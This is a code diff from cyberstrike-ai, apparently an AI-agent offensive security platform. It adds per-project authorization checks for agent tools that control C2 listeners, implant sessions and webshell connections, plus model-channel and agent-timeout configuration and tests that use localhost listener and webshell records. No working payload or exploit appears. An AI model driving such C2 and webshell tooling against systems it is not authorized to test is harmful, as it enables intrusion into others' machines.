|
||||
case builtin.ToolCancelToolExecution:
|
||||
return toolExecutionResource("monitor:write")
|
||||
case builtin.ToolBatchTaskList:
|
||||
return require("tasks:read")
|
||||
case builtin.ToolBatchTaskGet:
|
||||
@@ -127,20 +144,26 @@ func mcpToolAuthorizer(db *database.DB) func(context.Context, string, map[string
|
||||
builtin.ToolBatchTaskScheduleEnabled, builtin.ToolBatchTaskAdd, builtin.ToolBatchTaskUpdate:
|
||||
return resource("tasks:write", "batch_task", "queue_id")
|
||||
case builtin.ToolC2Listener:
|
||||
return authorizeC2Action(principal, db, args, "c2_listener", "listener_id")
|
||||
return authorizeC2Action(ctx, principal, db, args, "c2_listener", "listener_id")
|
||||
case builtin.ToolC2Session, builtin.ToolC2Task, builtin.ToolC2File:
|
||||
if toolName == builtin.ToolC2File && mcpAuthorizationString(args, "action") == "get_result" {
|
||||
return authorizeC2Action(principal, db, args, "c2_task", "task_id")
|
||||
return authorizeC2Action(ctx, principal, db, args, "c2_task", "task_id")
|
||||
}
|
||||
return authorizeC2Action(principal, db, args, "c2_session", "session_id")
|
||||
return authorizeC2Action(ctx, principal, db, args, "c2_session", "session_id")
|
||||
case builtin.ToolC2TaskManage:
|
||||
return authorizeC2Action(principal, db, args, "c2_task", "task_id")
|
||||
return authorizeC2Action(ctx, principal, db, args, "c2_task", "task_id")
|
||||
case builtin.ToolC2Payload:
|
||||
return resource("c2:write", "c2_listener", "listener_id")
|
||||
case builtin.ToolC2Event:
|
||||
if id := mcpAuthorizationString(args, "session_id"); id != "" {
|
||||
return resource("c2:read", "c2_session", "session_id")
|
||||
}
|
||||
if id := mcpAuthorizationString(args, "task_id"); id != "" {
|
||||
return resource("c2:read", "c2_task", "task_id")
|
||||
}
|
||||
if filter := mcpEffectiveProjectFilter(ctx, db); filter != "" {
|
||||
return require("c2:read")
|
||||
}
|
||||
if principal.ScopeFor("c2:read") != database.RBACScopeAll {
|
||||
return fmt.Errorf("unfiltered C2 event list requires global scope")
|
||||
}
|
||||
@@ -193,7 +216,7 @@ func externalMCPToolAuthorizer() func(context.Context, string, map[string]interf
|
||||
}
|
||||
}
|
||||
|
||||
func authorizeC2Action(principal authctx.Principal, db *database.DB, args map[string]interface{}, resourceType, argument string) error {
|
||||
func authorizeC2Action(ctx context.Context, principal authctx.Principal, db *database.DB, args map[string]interface{}, resourceType, argument string) error {
|
||||
action := mcpAuthorizationString(args, "action")
|
||||
permission := "c2:write"
|
||||
if action == "list" || action == "get" || action == "get_result" || action == "wait" {
|
||||
@@ -214,6 +237,9 @@ func authorizeC2Action(principal authctx.Principal, db *database.DB, args map[st
|
||||
if db == nil || !db.UserCanAccessResource(principal.UserID, principal.ScopeFor(permission), resourceType, candidate) {
|
||||
return fmt.Errorf("no access to %s %s", resourceType, candidate)
|
||||
}
|
||||
if err := authorizeMCPProjectResourceBoundary(ctx, db, resourceType, candidate); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -226,9 +252,93 @@ func authorizeC2Action(principal authctx.Principal, db *database.DB, args map[st
|
||||
if db == nil || !db.UserCanAccessResource(principal.UserID, principal.ScopeFor(permission), resourceType, id) {
|
||||
return fmt.Errorf("no access to %s %s", resourceType, id)
|
||||
}
|
||||
if err := authorizeMCPProjectResourceBoundary(ctx, db, resourceType, id); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func authorizeMCPProjectResourceBoundary(ctx context.Context, db *database.DB, resourceType, resourceID string) error {
|
||||
filter := mcpEffectiveProjectFilter(ctx, db)
|
||||
if filter == "" || db == nil {
|
||||
return nil
|
||||
}
|
||||
projectID, ok, err := mcpResourceProjectID(db, resourceType, resourceID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
if filter == database.ProjectFilterUnbound {
|
||||
if projectID != "" {
|
||||
return fmt.Errorf("resource %s %s belongs to project %s, current conversation is unbound", resourceType, resourceID, projectID)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if projectID != filter {
|
||||
if projectID == "" {
|
||||
return fmt.Errorf("resource %s %s is unbound, current conversation project is %s", resourceType, resourceID, filter)
|
||||
}
|
||||
return fmt.Errorf("resource %s %s belongs to project %s, current conversation project is %s", resourceType, resourceID, projectID, filter)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func mcpResourceProjectID(db *database.DB, resourceType, resourceID string) (string, bool, error) {
|
||||
switch resourceType {
|
||||
case "webshell":
|
||||
conn, err := db.GetWebshellConnection(resourceID)
|
||||
if err != nil {
|
||||
return "", true, err
|
||||
}
|
||||
if conn == nil {
|
||||
return "", true, fmt.Errorf("webshell not found")
|
||||
}
|
||||
return strings.TrimSpace(conn.ProjectID), true, nil
|
||||
case "c2_listener":
|
||||
listener, err := db.GetC2Listener(resourceID)
|
||||
if err != nil {
|
||||
return "", true, err
|
||||
}
|
||||
if listener == nil {
|
||||
return "", true, fmt.Errorf("listener not found")
|
||||
}
|
||||
return strings.TrimSpace(listener.ProjectID), true, nil
|
||||
case "c2_session":
|
||||
session, err := db.GetC2Session(resourceID)
|
||||
if err != nil {
|
||||
return "", true, err
|
||||
}
|
||||
if session == nil {
|
||||
return "", true, fmt.Errorf("session not found")
|
||||
}
|
||||
return mcpResourceProjectID(db, "c2_listener", session.ListenerID)
|
||||
case "c2_task":
|
||||
task, err := db.GetC2Task(resourceID)
|
||||
if err != nil {
|
||||
return "", true, err
|
||||
}
|
||||
if task == nil {
|
||||
return "", true, fmt.Errorf("task not found")
|
||||
}
|
||||
return mcpResourceProjectIDFromC2Session(db, task.SessionID)
|
||||
default:
|
||||
return "", false, nil
|
||||
}
|
||||
}
|
||||
|
||||
func mcpResourceProjectIDFromC2Session(db *database.DB, sessionID string) (string, bool, error) {
|
||||
session, err := db.GetC2Session(sessionID)
|
||||
if err != nil {
|
||||
return "", true, err
|
||||
}
|
||||
if session == nil {
|
||||
return "", true, fmt.Errorf("session not found")
|
||||
}
|
||||
return mcpResourceProjectID(db, "c2_listener", session.ListenerID)
|
||||
}
|
||||
|
||||
func mcpAuthorizationStrings(args map[string]interface{}, key string) []string {
|
||||
values := []string{}
|
||||
switch raw := args[key].(type) {
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
|
||||
"cyberstrike-ai/internal/authctx"
|
||||
"cyberstrike-ai/internal/database"
|
||||
"cyberstrike-ai/internal/mcp"
|
||||
"cyberstrike-ai/internal/mcp/builtin"
|
||||
"cyberstrike-ai/internal/security"
|
||||
|
||||
@@ -48,6 +49,91 @@ func TestMCPToolAuthorizerEnforcesPermissionAndResource(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestMCPToolAuthorizerEnforcesConversationProjectBoundary(t *testing.T) {
|
||||
db, err := database.NewDB(filepath.Join(t.TempDir(), "mcp-project-boundary.db"), zap.NewNop())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer db.Close()
|
||||
user, err := db.CreateRBACUser("boundary-user", "Boundary User", "hash", true, nil)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
project, err := db.CreateProject(&database.Project{Name: "Project 123"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
projectConv, err := db.CreateConversation("project conversation", database.ConversationCreateMeta{ProjectID: project.ID})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
unboundConv, err := db.CreateConversation("unbound conversation", database.ConversationCreateMeta{})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
wsProject := database.WebShellConnection{ID: "ws_project", ProjectID: project.ID, URL: "http://127.0.0.1/project.php", Type: "php", Method: "post", CreatedAt: time.Now()}
|
||||
wsUnbound := database.WebShellConnection{ID: "ws_unbound", URL: "http://127.0.0.1/unbound.php", Type: "php", Method: "post", CreatedAt: time.Now()}
|
||||
if err := db.CreateWebshellConnection(&wsProject); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.CreateWebshellConnection(&wsUnbound); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, id := range []string{wsProject.ID, wsUnbound.ID} {
|
||||
if err := db.AssignResourceToUser(user.ID, "webshell", id); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
now := time.Now()
|
||||
listener := &database.C2Listener{ID: "l_project", ProjectID: project.ID, Name: "project listener", Type: "tcp_reverse", BindHost: "127.0.0.1", BindPort: 5555, OwnerUserID: user.ID, CreatedAt: now}
|
||||
if err := db.CreateC2Listener(listener); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.AssignResourceToUser(user.ID, "c2_listener", listener.ID); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
session := &database.C2Session{ID: "s_project", ListenerID: listener.ID, ImplantUUID: "implant-project", Status: "active", FirstSeenAt: now, LastCheckIn: now}
|
||||
if err := db.UpsertC2Session(session); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
principal := authctx.NewPrincipal(user.ID, user.Username, database.RBACScopeAssigned, map[string]bool{
|
||||
"webshell:read": true, "webshell:write": true,
|
||||
"c2:read": true, "c2:write": true,
|
||||
})
|
||||
authorize := mcpToolAuthorizer(db)
|
||||
unboundCtx := authctx.WithPrincipal(mcp.WithMCPConversationID(context.Background(), unboundConv.ID), principal)
|
||||
projectCtx := authctx.WithPrincipal(mcp.WithMCPProjectID(mcp.WithMCPConversationID(context.Background(), projectConv.ID), project.ID), principal)
|
||||
projectCtxFromConversationOnly := authctx.WithPrincipal(mcp.WithMCPConversationID(context.Background(), projectConv.ID), principal)
|
||||
|
||||
if err := authorize(unboundCtx, builtin.ToolWebshellExec, map[string]interface{}{"connection_id": wsProject.ID}); err == nil {
|
||||
t.Fatal("unbound conversation was allowed to use project-bound webshell")
|
||||
}
|
||||
if err := authorize(unboundCtx, builtin.ToolWebshellExec, map[string]interface{}{"connection_id": wsUnbound.ID}); err != nil {
|
||||
t.Fatalf("unbound webshell denied in unbound conversation: %v", err)
|
||||
}
|
||||
if err := authorize(projectCtx, builtin.ToolWebshellExec, map[string]interface{}{"connection_id": wsProject.ID}); err != nil {
|
||||
t.Fatalf("project webshell denied in project conversation: %v", err)
|
||||
}
|
||||
if err := authorize(projectCtxFromConversationOnly, builtin.ToolWebshellExec, map[string]interface{}{"connection_id": wsProject.ID}); err != nil {
|
||||
t.Fatalf("project webshell denied when only conversation id is present: %v", err)
|
||||
}
|
||||
if err := authorize(projectCtx, builtin.ToolWebshellExec, map[string]interface{}{"connection_id": wsUnbound.ID}); err == nil {
|
||||
t.Fatal("project conversation was allowed to use unbound webshell by id")
|
||||
}
|
||||
if err := authorize(unboundCtx, builtin.ToolC2Session, map[string]interface{}{"action": "get", "session_id": session.ID}); err == nil {
|
||||
t.Fatal("unbound conversation was allowed to use project-bound c2 session")
|
||||
}
|
||||
if err := authorize(projectCtx, builtin.ToolC2Session, map[string]interface{}{"action": "get", "session_id": session.ID}); err != nil {
|
||||
t.Fatalf("project c2 session denied in project conversation: %v", err)
|
||||
}
|
||||
if err := authorize(projectCtxFromConversationOnly, builtin.ToolC2Session, map[string]interface{}{"action": "get", "session_id": session.ID}); err != nil {
|
||||
t.Fatalf("project c2 session denied when only conversation id is present: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEveryBuiltinMCPToolHasExplicitAuthorizationPolicy(t *testing.T) {
|
||||
db, err := database.NewDB(filepath.Join(t.TempDir(), "mcp-policy-inventory.db"), zap.NewNop())
|
||||
if err != nil {
|
||||
@@ -62,7 +148,7 @@ func TestEveryBuiltinMCPToolHasExplicitAuthorizationPolicy(t *testing.T) {
|
||||
authorize := mcpToolAuthorizer(db)
|
||||
args := map[string]interface{}{
|
||||
"action": "get", "connection_id": "x", "queue_id": "x", "listener_id": "x",
|
||||
"session_id": "x", "task_id": "x", "id": "x", "conversation_id": "x",
|
||||
"session_id": "x", "task_id": "x", "id": "x", "conversation_id": "x", "execution_id": "x",
|
||||
}
|
||||
for _, toolName := range builtin.GetAllBuiltinTools() {
|
||||
err := authorize(ctx, toolName, args)
|
||||
@@ -72,6 +158,45 @@ func TestEveryBuiltinMCPToolHasExplicitAuthorizationPolicy(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestMCPExecutionControlAuthorizationUsesExecutionScope(t *testing.T) {
|
||||
db, err := database.NewDB(filepath.Join(t.TempDir(), "mcp-exec-authz.db"), zap.NewNop())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer db.Close()
|
||||
user, err := db.CreateRBACUser("exec-user", "Exec User", "hash", true, nil)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.SaveToolExecution(&mcp.ToolExecution{
|
||||
ID: "exec-owned",
|
||||
ToolName: "lab::slow",
|
||||
Status: "running",
|
||||
StartTime: time.Now(),
|
||||
OwnerUserID: user.ID,
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.SaveToolExecution(&mcp.ToolExecution{
|
||||
ID: "exec-hidden",
|
||||
ToolName: "lab::slow",
|
||||
Status: "running",
|
||||
StartTime: time.Now(),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
principal := authctx.NewPrincipal(user.ID, user.Username, database.RBACScopeAssigned, map[string]bool{"monitor:read": true, "monitor:write": true})
|
||||
ctx := authctx.WithPrincipal(context.Background(), principal)
|
||||
authorize := mcpToolAuthorizer(db)
|
||||
if err := authorize(ctx, builtin.ToolWaitToolExecution, map[string]interface{}{"execution_id": "exec-owned"}); err != nil {
|
||||
t.Fatalf("owned execution denied: %v", err)
|
||||
}
|
||||
if err := authorize(ctx, builtin.ToolCancelToolExecution, map[string]interface{}{"execution_id": "exec-hidden"}); err == nil {
|
||||
t.Fatal("foreign execution was allowed")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMCPAssetToolAuthorizationUsesAssetPermissionsAndScope(t *testing.T) {
|
||||
db, err := database.NewDB(filepath.Join(t.TempDir(), "mcp-asset-authz.db"), zap.NewNop())
|
||||
if err != nil {
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
"cyberstrike-ai/internal/mcp"
|
||||
)
|
||||
|
||||
func mcpEffectiveProjectFilter(ctx context.Context, db *database.DB) string {
|
||||
if projectID := strings.TrimSpace(mcp.MCPProjectIDFromContext(ctx)); projectID != "" {
|
||||
return projectID
|
||||
}
|
||||
if conversationID := mcpAuthorizationConversationID(ctx); conversationID != "" {
|
||||
if db != nil {
|
||||
if projectID, err := db.GetConversationProjectID(conversationID); err == nil {
|
||||
if projectID = strings.TrimSpace(projectID); projectID != "" {
|
||||
return projectID
|
||||
}
|
||||
}
|
||||
}
|
||||
return database.ProjectFilterUnbound
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -34,9 +34,9 @@ type Manager struct {
|
||||
runningListeners map[string]Listener // listener_id → 已 Start 的 listener 实例
|
||||
storageDir string // 大结果(截图/下载)落盘根目录
|
||||
|
||||
hitlBridge HITLBridge // 危险任务在 EnqueueTask 时调它发起审批(nil 表示不接 HITL)
|
||||
hitlBridge HITLBridge // 危险任务在 EnqueueTask 时调它发起审批(nil 表示不接 HITL)
|
||||
hitlDangerousGate func(conversationID, mcpToolName string) bool // 与人机协同一致:为 nil 或返回 false 时不走桥
|
||||
hooks Hooks // 扩展挂钩:会话上线 / 任务完成 时通知漏洞库与攻击链
|
||||
hooks Hooks // 扩展挂钩:会话上线 / 任务完成 时通知漏洞库与攻击链
|
||||
}
|
||||
|
||||
// MCPToolC2Task 与 MCP builtin、c2_task 工具名一致,供 HITL 白名单与 Agent 侧对齐。
|
||||
@@ -63,7 +63,7 @@ type HITLApprovalRequest struct {
|
||||
|
||||
// Hooks 给上层(漏洞管理 / 攻击链)注入回调
|
||||
type Hooks struct {
|
||||
OnSessionFirstSeen func(session *database.C2Session) // 新会话首次上线
|
||||
OnSessionFirstSeen func(session *database.C2Session) // 新会话首次上线
|
||||
OnTaskCompleted func(task *database.C2Task, sessionID string) // 任务完成(success/failed)
|
||||
}
|
||||
|
||||
@@ -144,6 +144,7 @@ func (m *Manager) Close() {
|
||||
// CreateListenerInput Web/MCP 创建监听器的入参(已校验 + 已 trim)
|
||||
type CreateListenerInput struct {
|
||||
Name string
|
||||
ProjectID string
|
||||
Type string
|
||||
BindHost string
|
||||
BindPort int
|
||||
@@ -195,6 +196,7 @@ func (m *Manager) CreateListener(in CreateListenerInput) (*database.C2Listener,
|
||||
|
||||
listener := &database.C2Listener{
|
||||
ID: "l_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14],
|
||||
ProjectID: strings.TrimSpace(in.ProjectID),
|
||||
Name: strings.TrimSpace(in.Name),
|
||||
Type: strings.ToLower(strings.TrimSpace(in.Type)),
|
||||
BindHost: bindHost,
|
||||
|
||||
+155
-11
@@ -21,7 +21,8 @@ type Config struct {
|
||||
Server ServerConfig `yaml:"server"`
|
||||
Log LogConfig `yaml:"log"`
|
||||
MCP MCPConfig `yaml:"mcp"`
|
||||
OpenAI OpenAIConfig `yaml:"openai"`
|
||||
AI AIConfig `yaml:"ai,omitempty" json:"ai,omitempty"`
|
||||
OpenAI OpenAIConfig `yaml:"openai,omitempty" json:"openai,omitempty"`
|
||||
FOFA FofaConfig `yaml:"fofa,omitempty" json:"fofa,omitempty"`
|
||||
ZoomEye SpaceSearchConfig `yaml:"zoomeye,omitempty" json:"zoomeye,omitempty"`
|
||||
Quake SpaceSearchConfig `yaml:"quake,omitempty" json:"quake,omitempty"`
|
||||
@@ -840,6 +841,130 @@ type OpenAIConfig struct {
|
||||
Reasoning OpenAIReasoningConfig `yaml:"reasoning,omitempty" json:"reasoning,omitempty"`
|
||||
}
|
||||
|
||||
// AIConfig stores first-class model channels. Runtime callers resolve a channel
|
||||
// into OpenAIConfig at the edge instead of moving API credentials through chat requests.
|
||||
type AIConfig struct {
|
||||
DefaultChannel string `yaml:"default_channel,omitempty" json:"default_channel,omitempty"`
|
||||
Channels map[string]AIChannelConfig `yaml:"channels,omitempty" json:"channels,omitempty"`
|
||||
}
|
||||
|
||||
type AIChannelConfig struct {
|
||||
Name string `yaml:"name,omitempty" json:"name,omitempty"`
|
||||
Provider string `yaml:"provider,omitempty" json:"provider,omitempty"`
|
||||
APIKey string `yaml:"api_key" json:"api_key"`
|
||||
BaseURL string `yaml:"base_url" json:"base_url"`
|
||||
Model string `yaml:"model" json:"model"`
|
||||
MaxTotalTokens int `yaml:"max_total_tokens,omitempty" json:"max_total_tokens,omitempty"`
|
||||
MaxCompletionTokens int `yaml:"max_completion_tokens,omitempty" json:"max_completion_tokens,omitempty"`
|
||||
Reasoning OpenAIReasoningConfig `yaml:"reasoning,omitempty" json:"reasoning,omitempty"`
|
||||
}
|
||||
|
||||
func (c AIChannelConfig) ToOpenAIConfig() OpenAIConfig {
|
||||
provider := strings.TrimSpace(c.Provider)
|
||||
if provider == "" || provider == "openai_compatible" {
|
||||
provider = "openai"
|
||||
}
|
||||
return OpenAIConfig{
|
||||
Provider: provider,
|
||||
APIKey: c.APIKey,
|
||||
BaseURL: c.BaseURL,
|
||||
Model: c.Model,
|
||||
MaxTotalTokens: c.MaxTotalTokens,
|
||||
MaxCompletionTokens: c.MaxCompletionTokens,
|
||||
Reasoning: c.Reasoning,
|
||||
}
|
||||
}
|
||||
|
||||
func AIChannelFromOpenAI(id, name string, oa OpenAIConfig) AIChannelConfig {
|
||||
if strings.TrimSpace(name) == "" {
|
||||
name = id
|
||||
}
|
||||
return AIChannelConfig{
|
||||
Name: name,
|
||||
Provider: oa.Provider,
|
||||
APIKey: oa.APIKey,
|
||||
BaseURL: oa.BaseURL,
|
||||
Model: oa.Model,
|
||||
MaxTotalTokens: oa.MaxTotalTokens,
|
||||
MaxCompletionTokens: oa.MaxCompletionTokens,
|
||||
Reasoning: oa.Reasoning,
|
||||
}
|
||||
}
|
||||
|
||||
func NormalizeAIChannelID(s string) string {
|
||||
id := strings.ToLower(strings.TrimSpace(s))
|
||||
id = strings.ReplaceAll(id, "_", "-")
|
||||
var b strings.Builder
|
||||
lastDash := false
|
||||
for _, r := range id {
|
||||
ok := (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9')
|
||||
if ok {
|
||||
b.WriteRune(r)
|
||||
lastDash = false
|
||||
continue
|
||||
}
|
||||
if !lastDash {
|
||||
b.WriteByte('-')
|
||||
lastDash = true
|
||||
}
|
||||
}
|
||||
out := strings.Trim(b.String(), "-")
|
||||
if out == "" {
|
||||
return "default"
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (c *AIConfig) EnsureDefaultFromOpenAI(openAI OpenAIConfig) {
|
||||
if c.Channels == nil {
|
||||
c.Channels = make(map[string]AIChannelConfig)
|
||||
}
|
||||
def := NormalizeAIChannelID(c.DefaultChannel)
|
||||
if def == "default" && strings.TrimSpace(c.DefaultChannel) == "" {
|
||||
def = "default"
|
||||
}
|
||||
c.DefaultChannel = def
|
||||
if _, ok := c.Channels[def]; !ok {
|
||||
c.Channels[def] = AIChannelFromOpenAI(def, "Default", openAI)
|
||||
}
|
||||
}
|
||||
|
||||
func (c AIConfig) ResolveChannel(channelID string) (OpenAIConfig, string, bool) {
|
||||
id := NormalizeAIChannelID(channelID)
|
||||
if strings.TrimSpace(channelID) == "" {
|
||||
id = NormalizeAIChannelID(c.DefaultChannel)
|
||||
}
|
||||
if id == "" {
|
||||
id = "default"
|
||||
}
|
||||
if c.Channels != nil {
|
||||
if ch, ok := c.Channels[id]; ok {
|
||||
return ch.ToOpenAIConfig(), id, true
|
||||
}
|
||||
}
|
||||
return OpenAIConfig{}, id, false
|
||||
}
|
||||
|
||||
func (c *Config) ResolveAIChannel(channelID string) (OpenAIConfig, string, bool) {
|
||||
if c == nil {
|
||||
return OpenAIConfig{}, "", false
|
||||
}
|
||||
if oa, id, ok := c.AI.ResolveChannel(channelID); ok {
|
||||
return oa, id, true
|
||||
}
|
||||
return c.OpenAI, NormalizeAIChannelID(channelID), strings.TrimSpace(c.OpenAI.Model) != "" || strings.TrimSpace(c.OpenAI.BaseURL) != ""
|
||||
}
|
||||
|
||||
func (c *Config) ApplyDefaultAIChannel() {
|
||||
if c == nil {
|
||||
return
|
||||
}
|
||||
c.AI.EnsureDefaultFromOpenAI(c.OpenAI)
|
||||
if oa, _, ok := c.AI.ResolveChannel(c.AI.DefaultChannel); ok {
|
||||
c.OpenAI = oa
|
||||
}
|
||||
}
|
||||
|
||||
func (c OpenAIConfig) MaxCompletionTokensEffective() int {
|
||||
if c.MaxCompletionTokens > 0 {
|
||||
return c.MaxCompletionTokens
|
||||
@@ -912,8 +1037,13 @@ type DatabaseConfig struct {
|
||||
}
|
||||
|
||||
type AgentConfig struct {
|
||||
MaxIterations int `yaml:"max_iterations" json:"max_iterations"`
|
||||
ToolTimeoutMinutes int `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"` // 单次工具执行最大时长(分钟),超时自动终止,防止长时间挂起;0 表示不限制(不推荐)
|
||||
MaxIterations int `yaml:"max_iterations" json:"max_iterations"`
|
||||
ToolTimeoutMinutes int `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"` // 单次工具执行最大时长(分钟),超时自动终止,防止长时间挂起;0 表示不限制(不推荐)
|
||||
ToolWaitTimeoutSeconds int `yaml:"tool_wait_timeout_seconds" json:"tool_wait_timeout_seconds"` // 工具本轮等待秒数;到时返回 execution_id,worker 继续后台执行;0 表示等到完成
|
||||
ExternalMCPMaxConcurrentPerServer int `yaml:"external_mcp_max_concurrent_per_server" json:"external_mcp_max_concurrent_per_server"` // 单个外部 MCP server 同时运行的工具数;0 表示默认 2
|
||||
ExternalMCPMaxConcurrentTotal int `yaml:"external_mcp_max_concurrent_total" json:"external_mcp_max_concurrent_total"` // 所有外部 MCP 工具全局并发;0 表示默认 16
|
||||
ExternalMCPCircuitFailureThreshold int `yaml:"external_mcp_circuit_failure_threshold" json:"external_mcp_circuit_failure_threshold"` // 单个 MCP server 连续失败多少次后打开熔断;0 表示默认 3;负数关闭
|
||||
ExternalMCPCircuitCooldownSeconds int `yaml:"external_mcp_circuit_cooldown_seconds" json:"external_mcp_circuit_cooldown_seconds"` // 熔断后冷却秒数;0 表示默认 60
|
||||
// ShellNoOutputTimeoutSeconds execute/exec 无任何 stdout/stderr 时的空闲终止秒数(通用防挂死,不维护命令黑名单);0=默认 300(5 分钟);-1=关闭。
|
||||
ShellNoOutputTimeoutSeconds int `yaml:"shell_no_output_timeout_seconds" json:"shell_no_output_timeout_seconds"`
|
||||
// WorkspaceRootDir 会话工作目录根路径(curl/wget 下载、read_file/glob/grep 本地分析);空=tmp/workspace,其下按 projects/{id} 或 conversations/{id} 隔离。
|
||||
@@ -1219,6 +1349,7 @@ func Load(path string) (*Config, error) {
|
||||
if cfg.Audit.MaxDetailBytes <= 0 {
|
||||
cfg.Audit.MaxDetailBytes = 8192
|
||||
}
|
||||
cfg.ApplyDefaultAIChannel()
|
||||
if err := validateModelOutputLimits(cfg.OpenAI, cfg.MultiAgent.EinoMiddleware); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -1715,16 +1846,29 @@ func Default() *Config {
|
||||
Host: "127.0.0.1",
|
||||
Port: 8081,
|
||||
},
|
||||
OpenAI: OpenAIConfig{
|
||||
BaseURL: "https://api.openai.com/v1",
|
||||
Model: "gpt-4",
|
||||
MaxTotalTokens: 120000,
|
||||
MaxCompletionTokens: DefaultMaxCompletionTokens,
|
||||
AI: AIConfig{
|
||||
DefaultChannel: "default",
|
||||
Channels: map[string]AIChannelConfig{
|
||||
"default": {
|
||||
Name: "Default",
|
||||
Provider: "openai_compatible",
|
||||
BaseURL: "https://api.openai.com/v1",
|
||||
Model: "gpt-4",
|
||||
MaxTotalTokens: 120000,
|
||||
MaxCompletionTokens: DefaultMaxCompletionTokens,
|
||||
},
|
||||
},
|
||||
},
|
||||
OpenAI: OpenAIConfig{},
|
||||
Agent: AgentConfig{
|
||||
MaxIterations: 30, // 默认最大迭代次数
|
||||
ToolTimeoutMinutes: 10, // 单次工具执行默认最多 10 分钟,避免异常长时间占用
|
||||
ShellNoOutputTimeoutSeconds: 300, // execute/exec 无新输出空闲终止(秒);-1 关闭
|
||||
MaxIterations: 30, // 默认最大迭代次数
|
||||
ToolTimeoutMinutes: 10, // 单次工具执行默认最多 10 分钟,避免异常长时间占用
|
||||
ToolWaitTimeoutSeconds: 60, // 外部 MCP 工具单轮最多等待 60 秒,超时后返回 execution_id 可继续等待
|
||||
ExternalMCPMaxConcurrentPerServer: 2, // 单个外部 MCP server 默认最多 2 个工具同时执行
|
||||
ExternalMCPMaxConcurrentTotal: 16, // 外部 MCP 工具全局默认最多 16 个同时执行
|
||||
ExternalMCPCircuitFailureThreshold: 3, // 单个 server 连续 3 次失败后临时熔断
|
||||
ExternalMCPCircuitCooldownSeconds: 60, // 熔断默认冷却 60 秒
|
||||
ShellNoOutputTimeoutSeconds: 300, // execute/exec 无新输出空闲终止(秒);-1 关闭
|
||||
},
|
||||
Security: SecurityConfig{
|
||||
Tools: []ToolConfig{}, // 工具配置应该从 config.yaml 或 tools/ 目录加载
|
||||
|
||||
@@ -95,6 +95,48 @@ func TestHitlAuditModelEffectiveFallsBackToMainConfig(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadUsesAIDefaultChannelAsRuntimeOpenAI(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
path := filepath.Join(dir, "config.yaml")
|
||||
initial := strings.Join([]string{
|
||||
"ai:",
|
||||
" default_channel: deepseek",
|
||||
" channels:",
|
||||
" qwen:",
|
||||
" name: Qwen",
|
||||
" provider: openai_compatible",
|
||||
" base_url: https://dashscope.example/v1",
|
||||
" api_key: qwen-key",
|
||||
" model: qwen-max",
|
||||
" deepseek:",
|
||||
" name: DeepSeek",
|
||||
" provider: openai_compatible",
|
||||
" base_url: https://deepseek.example/v1",
|
||||
" api_key: deepseek-key",
|
||||
" model: deepseek-chat",
|
||||
" max_total_tokens: 64000",
|
||||
"server:",
|
||||
" host: 127.0.0.1",
|
||||
" port: 8080",
|
||||
"",
|
||||
}, "\n")
|
||||
if err := os.WriteFile(path, []byte(initial), 0644); err != nil {
|
||||
t.Fatalf("write config: %v", err)
|
||||
}
|
||||
|
||||
cfg, err := Load(path)
|
||||
if err != nil {
|
||||
t.Fatalf("Load: %v", err)
|
||||
}
|
||||
if cfg.OpenAI.Model != "deepseek-chat" || cfg.OpenAI.APIKey != "deepseek-key" || cfg.OpenAI.MaxTotalTokens != 64000 {
|
||||
t.Fatalf("runtime OpenAI config did not follow ai.default_channel: %+v", cfg.OpenAI)
|
||||
}
|
||||
oa, id, ok := cfg.ResolveAIChannel("qwen")
|
||||
if !ok || id != "qwen" || oa.Model != "qwen-max" || oa.APIKey != "qwen-key" {
|
||||
t.Fatalf("ResolveAIChannel(qwen) = (%+v, %q, %v)", oa, id, ok)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSummarizationUserIntentLedgerRunesEffective(t *testing.T) {
|
||||
var zero MultiAgentEinoMiddlewareConfig
|
||||
if got := zero.SummarizationUserIntentLedgerMaxRunesEffective(); got != DefaultSummarizationUserIntentLedgerMaxRunes {
|
||||
|
||||
+185
-18
@@ -46,6 +46,7 @@ func validC2TextIDForDelete(id string) bool {
|
||||
// C2Listener 监听器实体
|
||||
